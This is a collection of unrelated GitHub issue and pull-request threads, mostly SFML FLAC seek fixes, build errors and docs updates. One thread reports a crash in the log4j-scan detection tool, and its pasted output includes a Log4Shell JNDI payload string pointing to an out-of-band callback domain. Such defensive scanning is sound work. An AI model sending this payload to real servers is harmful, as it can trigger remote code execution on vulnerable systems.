Hmm, let me take a look. At first glance, I thought you revealed an edge case that I forgot to cover with my immediateLoop fix, but looking back into my code, it does actually cover mid-play seek-to-EOF correctly.
I didn't actually do any deep investigation into #966, in fact I mainly just read the title and the first few issue comments. I assumed my setPlayingOffset() clamping would solve it, as it addresses Foaly's concern about documentation compliance in InputSoundFile::seek().
The underlying readers should always be getting valid sample offsets now. But if the actual problem is with the FLAC reader itself, particularly if it exposes incorrect sample/channel/freq values or chokes on what should be valid seeks, then this PR does nothing to address bugs there.
My small sample WAV loops to 0 as expected when I give it an overrunning seek during playback, and seeks just fine to offsets in the 2nd half of the file too. I'll get back to you once I've tested on larger OGG and FLAC files. If I can confirm that my code is passing valid offsets to the streams, then we should still perform this merge as-is.

Okay so here are my findings. Though I can't reproduce any failures to seek into the 2nd half of the file, the FLAC reader does in fact start acting a bit "funky" around the EOF in 2 ways.
First, it starts short-reading a bit early for some reason in the test file I used:
File Sample Count: 18861508
<snip>
SHORT READ: 69340 instead of 88200. New offset is 18855940
SHORT READ: 0 instead of 88200. New offset is 18855940

Somehow, 5568 bytes got left out. This rightfully confuses the new loop-detection logic since it doesn't expect EOF yet, causing Music::onGetData() not to return false until the subsequent zero read.
Second, and worse, if you try to seek to (or past) the "True EOF", clamped at 18861508, this causes the reader not to short-read when it's really supposed to. Since I blindly add the returned readSamples to m_sampleOffset, expecting it to short-read, my own offset counter actually overruns the known duration:
SAMPLECOUNT OVERREAD: 18949708 instead of 18861508

Since the clamped EOF read doesn't return 0, my immediateLoop safeguard won't trip while the first buffer is being loaded. However, the EOF detector still kicks in and marks the buffer as an end, so you get that 1-second of weird playing you observed:
Funny enough, both scenarios have the same outward effect: Desyncing the offset counter by pumping more bytes than desired into SoundStream's buffers before the EOF condition is recognized.
I can dodge the 2nd case from within the scope of this commit by adding some safety checks to InputSoundFile::read() that clamp maxCount before the m_reader->read() call, and clamp readSamples after it. To work around the 1st case without diving into the FLAC reader, however, would require reverting the EOF check that Laurent and I agreed on changing, so it would once-again treat all short-reads as EOF.
Or I could just leave this PR as-is. Even if it's easy to safeguard against the 2nd condition, neither issue is caused by my changes, but rather a non-compliant underlying stream. Also, this only affects status propagation, and the rest of the buffer handling is sane enough that neither of these cases should cause a crash.

Does anyone want to weigh in on my findings? I'm only touching the code if we agree that I need to compensate for unreliable readers.

Can this/does this need fixing in the readers themselves?

The FLAC reader will indeed need fixing at some point. I'm just not sure that it falls into the scope of this PR. While I guess it can fit the definition of "Fixing Inconsistent Seek Behavior", it's a bit more outside the body of code already being modified than I'd like.
At the very least's it's gonna require a bit more digging. Is that worth delaying this PR's merge? While my code could be doing a bit more to work around violated assumptions, I don't think its assumptions themselves are unreasonable.
My current impression is that I should add a safeguard for the offset overrun case to my PR now (which can be done with 2 lines in InputSoundFile::read), and we can put the fix for the early-EOF case in a separate PR where we fix the FLAC reader itself.

Actually I'm gonna revise my stance on this. I've managed to track down and fix the issue with the FLAC reader. The change isn't huge, and it fits the spirit of this PR, so unless I hear objections, I'd like to include it in this commit.
The problem was that the underlying FLAC decoder has 2 seeking quirks that SoundFileReaderFlac::seek() and streamWrite() overlook.
First, every seek operation triggers a streamWrite() callback. Previously, this case would simply cause the function to return, but it turns out that it actually needs to do some work. When seeking, you'll land mid-block more often than not. And when that happens, the decoder feeds all the samples from the seek destination to the end of its block into streamWrite(). Ignoring those bytes is incorrect, as the next read call actually starts at the beginning of the next block. By skipping this partial block, we leave the stream at a later point than higher-level trackers (namely InputSoundFile) expect it to be. This causes the "early" short-read. To fix this I changed streamWrite() to act on these seek-decodes, and dump the output samples into the leftovers vector, where they will be picked up in the next SoundFileReaderFlac::read().
Second, the FLAC decoder does not like seeking straight to EOF. The workaround is easy. I just seek to one sample before the EOF, call FLAC__stream_decoder_skip_single_frame(), and re-clear the leftovers vector. In the process of fixing this one, I noticed that the m_channelCount variable added to address the forum post you linked is actually redundant. I removed it in favor of the already-available m_clientData.info.channelCount.
Please let me know if it's worthwhile to include my new fix in this PR, or if we should just get this one merged while I make a new one.

Sounds good.
Although linked to the same issue, these two changes fix two distinct bugs, so I'd say make another PR for the FLAC reader.

So how about I just add the following safety checks to InputSoundFile::read(), and we'll be good to merge this one:
Uint64 InputSoundFile::read(Int16* samples, Uint64 maxCount)
{
    Uint64 readSamples = 0;
    maxCount = std::min(maxCount, m_sampleCount - m_sampleOffset);
    if (m_reader && samples && maxCount)
        readSamples = m_reader->read(samples, maxCount);
    m_sampleOffset += std::min(readSamples, maxCount);
    return readSamples;
}

I'll put up the other PR soon.

Can you explain again why readSamples can be higher than maxCount?
And I'd also add some comments, as these extra checks may not look intuitive at first sight.

With a compliant stream, an invalid readSamples shouldn't ever really happen. It's mostly just maxCount that needs to be clamped, so that we can force a short-read if we're counting on one to occur. That was the main problem with the FLAC  overrun case.
But yeah, I'll leave the first clamp in, and add a comment.

That should do it. With maxCount clamped (and commented), the desync should be made rarer, until the FLAC reader fix eliminates it. I'll make that PR tomorrow.
As for this one, it should be ready to merge once the tests are re-run.

Do we really need to clamp maxCount before reading? I mean, if the underlying reader is correctly implemented, it cannot return more samples than what remains until EOF. It feels really weird to handle that at this level. If it's just a matter of fixing one or more reader(s), I'd prefer to focus on them and keep the higher-level code clean.

After seeking what happened with the non-compliant FLAC reader, my logic boiled down to this:
Now that InputSoundFile tracks the seek position, it's now responsible for keeping that counter consistent and synchronized. Audio decoders can be tricky to get right, plus we allow users to provide their own.
Currently, read() forwards whatever maxCount value it's given (aka the full sample buffer size), even if the expected number of remaining samples in the file (m_sampleCount - m_sampleOffset) is less than that. It then blindly adds the returned sample count to m_sampleOffset. It's essentially permitting the underlying stream to read maxCount but trusting it to return less. If a implementation is slightly off, it could return more samples than the remainder. After that, m_sampleOffset will end up greater than m_sampleCount. Currently, this only desyncs the loop indicators and play position, and doesn't cause anything to explode, but that's not the sort of consistency violation I'd want to risk.
Basically, I see this as InputSoundFile protecting its internal consistency from the results of an external call gone slightly amiss. Something to prevent small potential errors from growing.

To me, it is just hiding potential flaws in readers. I can't imagine any valid situation where this check would be useful. We shouldn't be afraid to dig deeper if the true problem is there -- in reader(s).

Well, I guess I'll just go ahead and revert that...
I just need to get this thing merged and over with.

Agreed.
Thank you again for your help, and for your patience :+1:

SFMLBuildMaster: Build this please.

Hold on. I just tried to re-apply the FLAC changes without the maxCount clamp, and something weird is happening. Let me look into this before you merge it, and make sure it's just the reader and not something here that I missed.

Ignore me, everything's fine! I just messed up a git command and didn't reapply things properly. I redid it the right way, and things are behaving again.
The current commit looks good to merge.

This PR has been added to my merge list, meaning it will be merged soon, unless someone raises any concerns.

Merged in 4856aea2377e17ae7a2716499dd92d85190d6330 on branch 2.4.x
Thanks for all the work you put into this! 👍


cmake: Could NOT find LibClang

On x86_64 Gentoo I've got error from cmake:
CMake Error at /usr/share/cmake/Modules/FindPackageHandleStandardArgs.cmake:91 (MESSAGE):
Could NOT find LibClang (missing: LibClang_LIBRARY)
Call Stack (most recent call first):
/usr/share/cmake/Modules/FindPackageHandleStandardArgs.cmake:252 (_FPHSA_FAILURE_MESSAGE)
cmake/Modules/FindLibClang.cmake:9 (find_package_handle_standard_args)
CMakeLists.txt:9 (find_package)
I have clang installed.  Clang list of files:
root /> eq f clang

Searching for clang ...
 This is all just a guess though since I've only been looking at the project for 10 minutes.
Try playing around in "clang_indexer/cmake/Modules/FindLibClang.cmake" and seeing if you can get the module to find your installed copy of libClang.

Yes,  that was my guess too.  If I knew how to play with cmake config files ...

Same error here, the PATH_SUFFIXES fix suggested didn't work.
@Corax26
$ find /usr/{,local/}lib{,32,64} -name 'libclang.so'
/usr/lib/llvm-3.8/lib/libclang.so
Ubuntu 16.04

@MaikoID Since libclang.so is in a llvm-3.8 subdirectory then you should try PATH_SUFFIXES llvm-3.8.

I had the same problem (same error message), and I managed to solve it!
For me, the problem came from the fact that under Fedora x64, the libraries from clang-devel get installed in /usr/lib64/llvm. First, I thought too that the problem came from lib64 not being looked up by cmake, but in fact cmake does (it seems that this got fix in some 2.6.x cmake release). Actually the problem comes from the fact that clang's libs are installed in a llvm subdirectory of lib64; but in cmake/Modules/FindLibClang.cmake:3 no PATH_SUFFIXES is provided for LibClang_LIBRARY.
So, for me the solution was just to add the PATH_SUFFIXES, here is the fixed line:
find_library(LibClang_LIBRARY NAMES clang PATH_SUFFIXES llvm)
By the way, it might be worth saying that I also had to install the following packages for BerkeleyDB: libdb-cxx and libdb-cxx-devel.
Hope this will be useful to someone!
I had the same problem and this solved it. Thanks much!


Missing HttpParser.cs and IHttpParserDelegate.cs files

When I download and try to compile Kayak in Visual Studio then the HttpParser.cs and IHttpParserDelegate.cs file is missing.

See the readme for how to build.
On Jan 3, 2012, at 6:30 AM, Tore<EMAIL_ADDRESS>wrote:

When I download and try to compile Kayak in Visual Studio then the HttpParser.cs and IHttpParserDelegate.cs file is missing.

Reply to this email directly or view it on GitHub:
https://github.com/kayak/kayak/issues/29


move quart --> fastapi

Maybe we can directly utilize the swagger and customize it?

Now swagger is set up, but not fastapi. As we are using multipart/form-data, current solution might be better and more flexible.


TypeError: 'NoneType' object is not iterable

[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
[•] Initiating DNS callback server (interact.sh).
[%] Checking for Log4j RCE CVE-2021-44228.
[•] URL: http://localhost:8080
[•] URL: http://localhost:8080 | PAYLOAD: ${jndi:ldap://localhost.p97134d965e040448l83fr08g8280o09p.oast.fun/yducxqq}
[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.
[•] Waiting...
Traceback (most recent call last):
File "/root/log4j-scan/log4j-scan.py", line 437, in
main()
File "/root/log4j-scan/log4j-scan.py", line 426, in main
records = dns_callback.pull_logs()
^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/log4j-scan/log4j-scan.py", line 278, in pull_logs
for i in data_list:
TypeError: 'NoneType' object is not iterable

I'm with the same problem

Same here.

Same here. Possible workaround in the meantime is to use --dns-callback-provider dnslog.cn.

dnslog.cn  seems  could not reachable ...


Update workload-identity-overview.md

Changed description of skip-containers annotation. The pod is labeled with azure.workload.identity/use: true, not the service account.

@cynthn
Can you review the proposed changes?
Important: When the changes are ready for publication, adding a #sign-off comment is the best way to signal that the PR is ready for the review team to merge.
#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team

@Jak-MS I'm not on the AKS team. The last one that was assigned to me was picked up by @schaffererin :)

@schaffererin - can you review?  (also, if you could update the author metadata on articles that belonged to @tamram - that would be very helpful.) thanks!

@schaffererin - can you review? (also, if you could update the author metadata on articles that belonged to @tamram - that would be very helpful.) thanks!

@Jak-MS, yes, this looks good to me and is ready for #sign-off ... regarding updating author metadata, there are multiple articles in our docset with tamram assigned. we have a plan to do a large-scale metadata update soon. i'm happy to update this specific one now, but otherwise, the aks docs team was planning on waiting to do it all at one time. let me know what works best for you.

Thanks, @schaffererin. I think updating the metadata across articles all at once works.

This PR is ready for merge. Due to the upcoming Ignite conference, all merging and publishing is on hold until the morning of the keynote address.
The PR review team will resume merging on the morning of the keynote address for the regularly scheduled daily publish cycles. You don't need to take further action on this PR; we'll merge it on the day of the keynote address.
Don't add more commits to this reviewed PR. If you need to make additional changes to these files, email techdocprs for guidance about how to proceed.
#label:"missed-content-complete","event-triaged-to-10AM"


update covid19-israel source spec maps_generate_daily_summary: add all_dates to external sharing

adds input/all_dates.csv as part of external sharing to hasadna/avid-covider-raw-data

related changes in WIS repo: https://github.com/Amirgav/COVID19-ISRAEL/compare/new_aggregations
if it's merged now, the pipeline will fail because the WIS changes are not merged yet


Create server so that site can be deployed

Get site up on Heroku. Should only need to create Hapi server. #4 #31

Server is now set up and deployment to heroku is working